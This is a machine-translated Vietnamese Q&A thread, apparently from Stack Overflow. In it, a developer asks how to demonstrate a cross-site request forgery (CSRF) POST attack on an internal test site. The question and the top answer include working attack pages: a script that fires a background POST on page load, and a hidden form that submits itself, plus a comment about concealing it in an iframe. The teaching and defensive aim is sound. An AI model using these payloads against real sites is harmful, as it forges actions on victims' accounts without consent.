2011-07-25 32 views
15

Tôi đang giới thiệu về bảo mật web cho một số người khác trong doanh nghiệp của chúng tôi và tôi muốn hiển thị một số ví dụ để có tác động nhiều hơn.Cách minh họa một cuộc tấn công CSRF

Vì điều này tôi đã tạo một trang web nhỏ dễ bị tấn công này, trang web này sẽ chỉ có thể truy cập được trên mạng của chúng tôi.

Tôi hiện đang cố gắng khai thác cuộc tấn công này, nhưng tôi có một câu hỏi:

Làm cách nào để thực hiện việc này với biểu mẫu POST?

Tôi không gặp vấn đề gì với truy vấn GET, nhưng với POST, tôi đang cố gắng làm điều này với javascript, không có vấn đề gì nếu tôi lưu trữ mã trên cùng một máy chủ, nhưng nếu tôi muốn lưu trữ mã cho một máy chủ khác trở nên thực tế hơn, tôi bị chặn vì đó là yêu cầu tên miền chéo.

Vì vậy, làm cách nào tôi nên gửi các Bars POST này?

Cảm ơn bạn!

Đây là mã hiện tại của tôi:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
<title>CSRF attack demo</title> 
<script type="text/javascript"> 
function getHTTPObject() { 
     var http = false; 
     //Use IE's ActiveX items to load the file. 
     if(typeof ActiveXObject != 'undefined') { 
      try {http = new ActiveXObject("Msxml2.XMLHTTP");} 
      catch (e) { 
       try {http = new ActiveXObject("Microsoft.XMLHTTP");} 
       catch (E) {http = false;} 
      } 
     //If ActiveX is not available, use the XMLHttpRequest of Firefox/Mozilla etc. to load the document. 
     } else if (window.XMLHttpRequest) { 
      try {http = new XMLHttpRequest();} 
      catch (e) {http = false;} 
     } 
     return http; 
    } 
function post_to_url(path, params, method) { 
    method = method || "post"; // Set method to post by default, if not specified. 

    // The rest of this code assumes you are not using a library. 
    // It can be made less wordy if you use one. 
    var form = document.createElement("form"); 
    form.setAttribute("method", method); 
    form.setAttribute("action", path); 

    for(var key in params) { 
     var hiddenField = document.createElement("input"); 
     hiddenField.setAttribute("type", "hidden"); 
     hiddenField.setAttribute("name", key); 
     hiddenField.setAttribute("value", params[key]); 

     form.appendChild(hiddenField); 
    } 

    document.body.appendChild(form); 
    form.submit(); 
} 

function postToUrlBackground(path, params){ 
    var http = getHTTPObject(); 

    http.open("POST", path, true); 

    //Send the proper header information along with the request 
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); 
    http.setRequestHeader("Content-length", params.length); 
    http.setRequestHeader("Connection", "close"); 

    http.onreadystatechange = function() {//Call a function when the state changes. 
     if(http.readyState == 4 && http.status == 200) { 
      //alert("Response received"); 
     } 
    } 
    http.send(params); 
} 
function TryAttack(){ 
    //alert("Sending"); 
    postToUrlBackground("http://localhost:51612/Movie/Edit/1", "Title=%28500%29This+item+has+been+changed+without+any+rights&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE"); 
    //postToUrlBackground("http://localhost:51612/Movie/Edit/1","Title=%28500%29+JOURS+ENSEMBLE&Year=2009&OriginalTitle=%28500%29+DAYS+OF+SUMMERS&Duration=5700&IDMC=500+JOURS+ENSEMBLE" ); 
    //alert("sent"); 
} 
</script> 
</head> 
<body onload="TryAttack()"> 
<img src=image.png /> 
</body> 
</html> 

Trả lời

22

Trên "host khác" (những kẻ tấn công ), bạn chỉ cần tạo một FORM với phương pháp POSTaction (ví dụ: nơi mà các mẫu được gửi) là ứng dụng dễ bị tổn thương của bạn. Sau đó, bạn gửi nó với javascript trên trang đó.

Như thế này:

<html><body> 

    <form name="csrf_form" action="http://VULNERABLE_APP/csrf.php" method="POST"> 
    <input type="hidden" name="csrf_param" value="POST_ATTACK"> 
    </form> 

    <script type="text/javascript">document.csrf_form.submit();</script> 
</body></html> 

này sẽ đệ trình một POST để ứng dụng dễ bị tổn thương của bạn từ máy chủ của kẻ tấn công, khi bạn mở trang đó.

+2

Được rồi tôi thấy, Và chúng tôi đặt điều này trong một khung nội tuyến như thế này người dùng không nhìn thấy nó đã được chuyển hướng? – J4N

+1

Tuyệt vời nó hoạt động :) Tôi cumulate nó với một iframe + htaccess :) – J4N

+0

Wow, điều này rất hữu ích cho tôi để kiểm tra lỗ hổng. Nếu kẻ tấn công biết dữ liệu mà thiết bị đầu cuối mong đợi, họ đang ở. Như tôi biết các giá trị biểu mẫu dự kiến, tôi đã có thể nhanh chóng chứng minh điều này. Sẽ sử dụng mã thông báo chống giả mạo để chặn. Nhiều đánh giá cao. –

10

Các bài viết và các ví dụ sau đây sẽ giúp bạn giới thiệu một cuộc tấn công CSRF.

http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html

phòng chống CSRF

https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet

Và câu hỏi này trên Stackoverflow. Basic cookie & CSRF question

+2

Tôi đã xem liên kết đầu tiên của bạn (Đã đọc hai liên kết khác). Vấn đề là trên liên kết của bạn, anh ấy đang sử dụng dịch vụ web. Sau đó, ông đã không có vấn đề cross-site-request. Nhưng tôi đã sử dụng một hình thức tiêu chuẩn bài viết – J4N

+0

@Nickz Nội dung là tuyệt vời, 1 cho u – ScoRpion

Các vấn đề liên quan